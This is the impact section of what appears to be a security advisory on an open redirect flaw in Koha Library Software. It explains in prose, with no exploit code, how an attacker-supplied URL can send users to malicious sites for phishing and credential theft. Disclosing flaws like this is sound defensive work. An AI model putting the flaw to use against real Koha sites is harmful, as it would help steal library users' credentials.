# Impact :  
***********  
Koha Library Software accepts a user-controlled input that specifies  
a link to an external site, and uses that link in a Redirect. This simplifies phishing   
attacks. An http parameter may contain a URL value and could cause the web   
application to redirect the request to the specified URL. By modifying the URL   
value to a malicious site, an attacker may successfully launch a phishing scam and   
steal user credentials. Because the server name in the modified link is identical to the   
original site, phishing attempts have a more trustworthy appearance. Open redirect is a   
failure in that process that makes it possible for attackers to steer users to malicious   
websites. This vulnerability is used in phishing attacks to get users to visit malicious   
sites without realizing it. Web users often encounter redirection when they visit the   
Web site of a company whose name has been changed or which has been acquired by   
another company. Visiting unreal web page user's computer becomes affected   
by malware the task of which is to deceive the valid actor and steal his personal data.
